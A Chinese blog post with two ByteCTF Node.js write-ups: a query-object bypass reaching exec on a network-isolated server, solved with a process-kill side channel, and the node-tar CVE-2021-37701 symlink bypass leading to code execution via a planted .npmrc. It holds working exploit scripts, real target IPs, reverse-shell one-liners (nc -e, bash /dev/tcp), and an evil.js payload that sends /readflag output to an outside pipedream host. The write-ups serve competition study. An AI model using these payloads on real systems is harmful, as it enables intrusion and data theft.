记ByteCTF中的Node题
记ByteCTF中的Node题
我总觉得字节是跟Node
过不去了,初赛和决赛都整了个Node
题目,当然PHP
、Java
都是必不可少的,只是我觉得Node
类型的比较少见,所以感觉挺新鲜的。
Nothing
决赛的Node
题型,题目如下:
Can you get flag in a fully enclosed nodejs environment?
http://39.106.69.116:30001
http://39.106.34.228:30001
直接访问http://39.106.34.228:30001/
就会得到一句话Here is a backdoor,can you shell it and get the flag?
,访问http://39.106.34.228:30001/source
可以得到相关的源码。
const express = require('express')
const fs = require('fs')
const exec = require('child_process').exec;
const src = fs.readFileSync("app.js")
const app = express()
app.get('/', (req, res) => {
if (!('ByteCTF' in req.query)) {
res.end("Here is a backdoor,can you shell it and get the flag?")
return
}
if (req.query.ByteCTF.length > 3000) {
const byteCTF = JSON.stringify(req.query.ByteCTF)
if (byteCTF.length > 1024) {
res.end("too long.")
return
}
try {
const q = "{" + req.query.ByteCTF + "}"
res.end("Got it!")
} catch {
if (req.query.backdoor) {
exec(req.query.backdoor)
res.send("exec complete,but nothing here")
} else {
res.end("Nothing here!")
}
}
} else {
res.end("too short.")
return
}
})
app.get('/source', (req, res) => {
res.end(src)
});
app.listen(3000, () => {
console.log(`listening at port 3000`)
})
可以看到有个exec
可以执行命令,然后就是经典的绕过环节了,首先看第一个需要他的长度大于3000
并且JSON.stringify
后要小于1024
,这可让我犯了难,然后表哥们说这玩意可以直接传对象,带着length
属性值大于3000
就行,好家伙之前我还不知道express
可以直接传递对象上去,那么就先在本地跑跑看看,首先将代码保存成app.js
,然后本地目录运行命令即可。
$ npm install express
$ node app.js
然后可以打印一下req.query.ByteCTF
尝试一下,然后我们访问http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2
,就可以得到一个对象的输出。
// http://localhost:3000/?ByteCTF[a]=1&ByteCTF[b]=2
// too short.
{ a: '1', b: '2' }
既然他能够被转换为对象,那么就直接写一个带length
属性的对象进去,让他检查length
的时候大于3000
即可。
// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1
// Got it!
{ a: '1' }
可以看到输出的是Got it!
,也就是能够成功执行到res.end("Got it!")
这一行了,现在只需要让这个对象在拼接字符串的时候抛出异常就可以了,在js
中对象转成字符串也是调用的toString
方法,既然传递的是对象就完全可以将这个方法给他覆盖掉,直接传递一个值即可,因为传递的不是函数,而拼接的时候会尝试调用这个toString
函数所以会抛出异常。
// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1
// 抛出的异常是 TypeError: Cannot convert object to primitive value
// Nothing here!
可以看到输出是Nothing here!
,之后我们只需要传递一个backdoor
的param
参数去执行命令就可以了。
// http://localhost:3000/?ByteCTF[__proto__][length]=100000&ByteCTF[a]=1&ByteCTF[toString]=1&backdoor=echo%201
// exec complete,but nothing here
事情到这里看起来似乎是挺顺利,当然只是看起来,起初我还没能理解题目中fully enclosed
是个嘛意思,然后尝试了一下nc -e /bin/bash {host} {port}
去反弹shell
,半天也没反应,想来可能发行版没有-e
参数,于是就尝试bash -i >& /dev/tcp/{host}/{port} 0>&1
,也没弹出来,然后看了看我机器的nc -lvvp {port}
似乎也没问题,然后就去尝试了一下dnslog
,然后尝试了curl
和ping
都收不到记录,然后我就理解了这个fully enclosed
完全封闭是什么意思了,好家伙靶机不出网,这跟我玩蛇,现在是可以RCE
但是拿不到东西,真难受。然后我想的是既然他得用node
服务,能不能把这个node
进程杀死然后用这个端口去通信,或者检测一下还有没有可以用的端口。然后队友表哥们玩了一个新花样,好家伙给我看傻眼了。
先说点别的,之前看到过一个代码,具体的细节我不太记得清了,大概是这样的,找到原文链接了,在参考栏里,在这里基本就搬运一下了。
boolean safeEqual(String a, String b) {
if (a == null || b == null) {
return a == b;
}
if (a.length() != b.length()) {
return false;
}
int equal = 0;
for (int i = 0; i < a.length(); i++) {
equal |= a.charAt(i) ^ b.charAt(i);
}
return equal == 0;
}
这个函数的功能是比较两个字符串是否相等,首先长度不等结果肯定不等,立即返回这个很好理解。再看看后面的,稍微动下脑筋,转弯下也能明白这其中的门道:通过异或操作1^1=0
、1^0=1
、0^0=0
,来比较每一位,如果每一位都相等的话,两个字符串肯定相等,最后存储累计异或值的变量equal
必定为0
,否则为1
。但是
从效率角度上讲,难道不是应该只要中途发现某一位的结果不同了(即为1
)就可以立即返回两个字符串不相等了吗,类似与下边这样。
for (int i = 0; i < a.length(); i++) {
if (a.charAt(i) ^ b.charAt(i) != 0) // or a.charAt(i) != b.charAt(i)
return false;
}
以前知道通过延迟计算等手段来提高效率的手段,但这种已经算出结果却延迟返回的,还是头一回,结合方法名称safeEquals
可能知道些眉目,与安全有关,其实JDK
中也有类似的方法,例如java.security.MessageDigest
,看注释知道了目的是为了用常量时间复杂度进行比较。
public static boolean isEqual(byte[] digesta, byte[] digestb) {
if (digesta == digestb) return true;
if (digesta == null || digestb == null) {
return false;
}
if (digesta.length != digestb.length) {
return false;
}
int result = 0;
// time-constant comparison
for (int i = 0; i < digesta.length; i++) {
result |= digesta[i] ^ digestb[i];
}
return result == 0;
}
实际上,这么做是为了防止计时攻击,计时攻击是边信道攻击(或称侧信道攻击,Side Channel Attack
,简称SCA
) 的一种,边信道攻击是一种针对软件或硬件设计缺陷,走歪门邪道的一种攻击方式。
然后表哥们就玩了一个花里胡哨的侧信道方案哈哈哈,首先既然无法出网,就需要知道一个服务器的状态,而表哥们选用的服务器状态,就是这个node
进程是否还活着,整体思路就是,首先在根目录去读文件,flag
大概率是在文件中的,通过执行ls /
获得一个输出的字符串,然后我我们传递进去一段代码,如果这个字符与我们传进去的字符相同,就杀死这个node
进程,然后我们就访问不到服务了,然后就可以断定这个字符是正确的,而传入的字符就只能一个个遍历了。首先我们需要遍历出来存放flag
的文件,直接上代码,这实际上也算是一种爆破方案,在尝试的过程中也会出现一些状况,因为靶机的node
重启太快了刚杀死就重启了,所以需要不少人工因素查看,有时候会顿一下多看几次都在那里停顿大概率就是那个字符了了,多看几遍可以排除下网络波动因素。
# blast_file_name.py 爆破文件名
import requests
from urllib import parse
import base64
from time import sleep
import string
# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"
template = '''
const exec = require("child_process").exec;
const fs = require("fs");
const cmd = "ls /";
exec(cmd, function(error, stdout, stderr) {{
if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
exec("pkill node");
}}
}});
'''
def remote_exec(command):
params = "echo {} | base64 -d > /tmp/ddd.js;node /tmp/ddd.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
# print(params)
requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))
if __name__ == "__main__":
# 例如搜索出了出了第四位字符
# 那么第三位大概率是正确的
# 需不少人工判断
result = ""
result = "T"
result = "Th1s_1s"
for i in range(len(result), 10000000):
find = False
for char in string.ascii_letters + "_- " + string.digits:
print(i, len(result), char, result + char)
t = template.format(len(result), char, result)
# print(t)
try:
remote_exec(t)
except:
continue
try:
requests.get(url, timeout=5)
requests.get(url, timeout=5)
requests.get(url, timeout=5)
except:
find = True
result += char
print(result)
sleep(5)
break
if not find:
result += ""
而恰好第一个文件名就是flag
的存放位置,感觉路子应该差不多,另外这个文件名稍微爆出来几位之后就可以使用cat xxx*
去表示了,在这里爆破了Th1s_1s
,那么之后爆破flag
就可以使用cat Th1s_1s*
打开文件,然后继续遍历爆破了,最后得到flag
为bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}
,真的是够长,爆破也需要很长时间费很大劲。
# blasting_flag.py 爆破`flag`
import requests
from urllib import parse
import base64
from time import sleep
import string
# url = "http://39.106.69.116:30001/"
url = "http://39.106.34.228:30001/"
template = '''
const exec = require("child_process").exec;
const fs = require("fs");
const cmd = "cat /Th1s_1s*";
exec(cmd, function(error, stdout, stderr) {{
if(stdout[{0}]==="{1}" && stdout.substr(0,{0})==="{2}"){{
exec("pkill node");
}}
}});
'''
def remote_exec(command):
params = "echo {} | base64 -d > /tmp/hhh.js;node /tmp/hhh.js".format(base64.b64encode(t.encode()).replace(b'\n',b'').decode())
# print(params)
requests.get(url +"?ByteCTF[__proto__][length]=100000&ByteCTF[toString]=&ByteCTF[][a]&backdoor="+parse.quote(params))
if __name__ == "__main__":
# 例如搜索出了出了第四位字符 那么第三位大概率是正确的
# 需要不少人工因素 有时候会顿一下多看几次都在那里停顿大概率就是了 因为node重启太快了 多看几遍可以排除下网络波动因素
result = ""
result = "by"
result = "bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22"
for i in range(len(result), 10000000):
find = False
# for char in string.ascii_letters:
for char in string.ascii_letters + "{_- }" + string.digits:
print(i, len(result), char, result + char)
t = template.format(len(result), char, result)
# print(t)
try:
remote_exec(t)
except:
continue
try:
requests.get(url, timeout=1)
requests.get(url, timeout=1)
requests.get(url, timeout=1)
except:
find = True
result += char
print(result)
sleep(5)
break
if not find:
result += ""
# bytectf{50579195da002fa989432cbc1a83e38f5d3765122d9a7d4d767f99a61fa58f22}
easy_extract
这是初赛的Node
题型,当时没搞出来,这是决赛之后看到了上边的Node
题目所以也记录了一下。当时搞出了文件写入,然后没有多少地方有写权限,没想到利用写.npmrc
文件并重启搞他。下面的内容来自于官方的Writeup
,仅作记录,详情链接在参考中。
本题利用的是8
月份曝出的node-tar
包符号链接检查绕过漏洞,这个漏洞本身在网上是可以找到POC
的,能够做到任意文件写入,同时本题展示文件列表的功能结合符号链接可以被用来列目录,辅助判断题目环境,不过为了难度考虑,还是在/robots.txt
中将Dockerfile
放出,能够得到一些关于题目是如何启动的信息,同时,本题也考察了在没有web
应用目录写入权限的情况下,通过任意文件写来进一步造成RCE
的一些思路。
CVE-2021-37701 node-tar
任意文件写入/
覆盖漏洞(翻译自原报告)node-tar
有安全措施,旨在保证不会提取任何位置将被符号链接修改的文件,这部分是通过确保提取的目录不是符号链接来实现的,此外,为了防止不必要的stat
调用来确定给定路径是否为目录,在创建目录时会缓存路径,但是6.1.7
以下版本的node-tar
当提取包含一个目录及与目录同名的符号链接的tar
文件时,此检查逻辑是不够充分的,其中存档条目中的符号链接和目录名称在posix
系统上使用反斜杠作为路径分隔符,缓存检查逻辑同时使用了和/
字符作为路径分隔符,然而,在posix
系统上是一个有效的文件名字符,通过首先创建一个目录,然后用符号链接替换该目录,可以绕过对目录的符号链接检查,基本上允许不受信任的tar
文件符号链接到任意位置,然后将任意文件提取到该位置,从而允许任意文件创建和覆盖,此外,不区分大小写的文件系统可能会出现类似的混淆,如果恶意tar
包含一个位于FOO
的目录,后跟一个名为foo
的符号链接,那么在不区分大小写的文件系统上,符号链接的创建将从文件系统中删除该目录,但不从内部目录中删除缓存,因为它不会被视为缓存命中,FOO
目录中的后续文件条目将被放置在符号链接的目标中,认为该目录已经创建,关于POC
的构建,也有相关文章可以参考: 5 RCEs in npm for $15, 000
。于是我们简单尝试一下,但在上传时,我们会发现文件大小存在限制,而一般来讲tar
打包出来的文件都会大于1KB
,所以可以打包一个.tar.gz
,并将扩展名改回.tar
,实际上node-tar
并不根据扩展名判断文件是否压缩,所以.tar
后缀的.tar.gz
文件是可以被正常解压的,可以发现确实创建了一个指向/app/data
以外的符号链接,能够列出全盘的路径信息:
#!/bin/sh
rm n\\x
ln -s / n\\x # Create a link to the destination dir
tar cf poc.tar n\\x # Pack the link into the tar
echo "test" > n\\x/app/data/test
tar rf poc.tar n\\x n\\x/app/data/test
gzip -9 < poc.tar > poc.tar.gz
rm poc.tar
mv poc.tar.gz poc.tar
做完这一步,就可以任意列目录,并且任意写入文件了,根目录下有/readflag
,说明需要命令执行。
从Dockerfile
可以看出,我们的用户是node
,基本上没有多少地方有写权限,并且app
目录除了/app/data
都是无权限写的,观察启动参数,nodemon --exec npm start
有些奇怪,查资料发现nodemon
是一个开发使用的工具,会在/app
目录下发生文件创建或更改时自动重启node
,于是想到,我们还可以在用户文件夹下写入配置文件,让配置文件在node
重启时被加载,这时我们注意到服务是用npm start
起的,所以可以通过写入~/.npmrc
的NODE_OPTIONS
参数造成RCE
。
echo "node-options='--require /home/node/evil.js'" > /home/node/.npmrc
之后,写入一个.js
文件到/app/data
下面,即可触发nodemon
重启node
,进而导致evil.js
被执行,nodemon
这层主要是方便比赛,实际上如果是在真实环境里,大概率不会有人使用nodemon
启动生产环境的服务,不过我们仍然可以先将文件写入,之后守株待兔直到服务重启,命令被执行,在配置了重启策略的Docker
容器中,也可以通过把服务打挂的方式强制重启。
#!/bin/sh
# Generate Tar
mkdir /home/node
ln -s /home/node/ n\\x
tar cf exp.tar n\\x
echo "node-options='--require /home/node/evil.js'" > n\\x/.npmrc
echo "const execSync = require('child_process').execSync;const http = require('http');const output = execSync('/readflag', { encoding: 'utf-8' });http.get('http://ent9hso2vt0z.x.pipedream.net/?'+output);" > n\\x/evil.js
echo "dummy" > test.js
tar rf exp.tar n\\x n\\x/.npmrc n\\x/evil.js test.js
# Compress
gzip -9 < exp.tar > exp.tar.gz
mv exp.tar.gz exp.tar
# Clean Up
rm n\\x/.npmrc n\\x/evil.js test.js n\\x
rm -r /home/node
参考
https://www.zhihu.com/question/275611095/answer/1962679419
https://bytectf.feishu.cn/docs/doccnq7Z5hqRBMvrmpRQMAGEK4e#lLBgbe
记ByteCTF中的Node题的更多相关文章
- CentOS 6 中安装Node.js 4.0 版本或以上
如果想在CentOS 6 中安装Node.js >4.0,如果通过以往的方式安装: wget http://nodejs.org/dist/v4.0.0/node-v4.0.0.tar.gz t ...
- 【译】在 Chrome 开发者工具中调试 node.js
原文链接 : Debugging Node.js in Chrome DevTools 原文作者 : MATT DESLAURIERS 译文出自 : 掘金翻译计划 译文链接 : https://git ...
- 在 Windows系统中编译node.js 源代码
Node.js 在 Windows 下只能通过 Microsoft Visual Studio 编译,因此你需要首先安装 Visual Studio 或者免费的 Visual Studio Expre ...
- Aspose.Words:如何添加另一个WORD文档中的Node对象
原文:Aspose.Words:如何添加另一个WORD文档中的Node对象 首先看一段代码,这段代码意图从docSource中获取第一个表格,并插入docTarget的末尾: , true); doc ...
- WebStorm中配置node.js(Windows)
WebStorm中配置node.js(Windows) 一.node 1.下载安装包 32 位 : https://nodejs.org/dist/v4.4.3/node-v4.4.3-x86.msi ...
- [重点]delphi 实现 根据给定的标题去《中国青年报》网上电子报数据中查找匹配的内容,并从该内容中取出引题、正题、副题、作者和正文。
项目要求:根据给定的标题去<中国青年报>网上电子报数据中查找匹配的内容,并从该内容中取出引题.正题.作者和正文. unit Unit1; interface uses Winapi.Win ...
- 如何从Windows中删除Node.js
如何从Windows中删除Node.js: 1.从卸载程序卸载程序和功能. 2.重新启动(或者您可能会从任务管理器中杀死所有与节点相关的进程). 3.寻找这些文件夹并删除它们(及其内容)(如果还有). ...
- 如何在 Windows 10 中搭建 Node.js 环境?
[编者按]本文作者为 Szabolcs Kurdi,主要通过生动的实例介绍如何在 Windows 10 中搭建 Node.js 环境.文章系国内 ITOM 管理平台 OneAPM 编译呈现. 在本文中 ...
- 在 Chrome 开发者工具中调试 node.js
命令行工具 devtool ,它可以在 Chrome 的开发者工具中运行 Node.js 程序. 下面的记录显示了在一个 HTTP 服务器中设置断点的情况. 该工具基于 Electron 将 Node ...
随机推荐
- 要web开发精品教程吗?免费无广告一百期连讲的那种-逐浪CMS前端开发100期入门教程全面开放
要web开发精品教程吗?免费无广告一百期连讲的那种-逐浪CMS前端开发100期入门教程全面开放 大师主讲 经验难得 由逐浪CMS首席架构师发哥老师,亲自主理讲解. 历时一年精心打造, 汇聚了互联网诞生 ...
- 【Git 系列】基础知识全集
Git 是一种分布式版本控制系统,它可以不受网络连接的限制,加上其它众多优点,目前已经成为程序开发人员做项目版本管理时的首选,非开发人员也可以用 Git 来做自己的文档版本管理工具. 一.Git 基础 ...
- python有关于图像的深度和通道
目录: (一)图像的深度和图像的通道 (1)图像的深度 (2)图像的通道 (二)自定义一张多通道的图片 (1)zeros 函数 (2)ones 函数 (三)自定义一张单通道的图片 (四)像素操作 ...
- C语言下的Led灯
1. 设计思想 1.1 设置处理器模式 设置sp啥的汇编要先进入SVC模式,超级管理员特权模式,这样就可以访问所有寄存器了,需要用到cpsr寄存器 0到4位要设置svc模式10011 = 0x13, ...
- 异常处理截止和UML图
0.异常处理机制 0.1.java中异常的作用是:增强程序健壮性. 0.2.java中异常以类和对象的形式存在. 1.java的异常处理机制 1.1.异常在java中以类和对象的形式存在.那么异常的继 ...
- 模仿UP主,用Python实现一个弹幕控制的直播间!
灵感来源 之前在B站看到一个有意思的视频: [B站][亦]终极云游戏!五千人同开一辆车,复现经典群体智慧实验 大家可以看看,很有意思. up主通过代码实现了实时读取直播间里的弹幕内容,进而控制自己的电 ...
- DirectX12 3D 游戏开发与实战第九章内容(下)
仅供个人学习使用,请勿转载.谢谢! 9.纹理贴图 学习目标 学习如何将局部纹理映射到网格三角形中 探究如何创建和启用纹理 学会如何通过纹理过滤来创建更加平滑的图像 探索如何使用寻址模式来进行多次贴图 ...
- [Ocean Modelling for Begineers] Ch4. Long Waves in a Channel
Ch4. Long Waves in a Channel 简介 本章主要介绍明渠中分层流体模拟.练习包括浅水表面波,风暴潮.内波和分层流体模拟. 4.1 有限差分法详细介绍 4.1.1 泰勒公式 4. ...
- [R] 如何绘制各样本的pathway丰度热图?
前言 一般而言,我们做完pathway富集分析,就做下气泡图或bar图来进行展示,但它们实际上只考虑了富集因子和Pvalue.如果我们不关注这两个因素,而是在乎样本本身的pathway丰度呢? 对于K ...
- datamash 命令行下的快速计算工具
github地址:https://github.com/agordon/datamash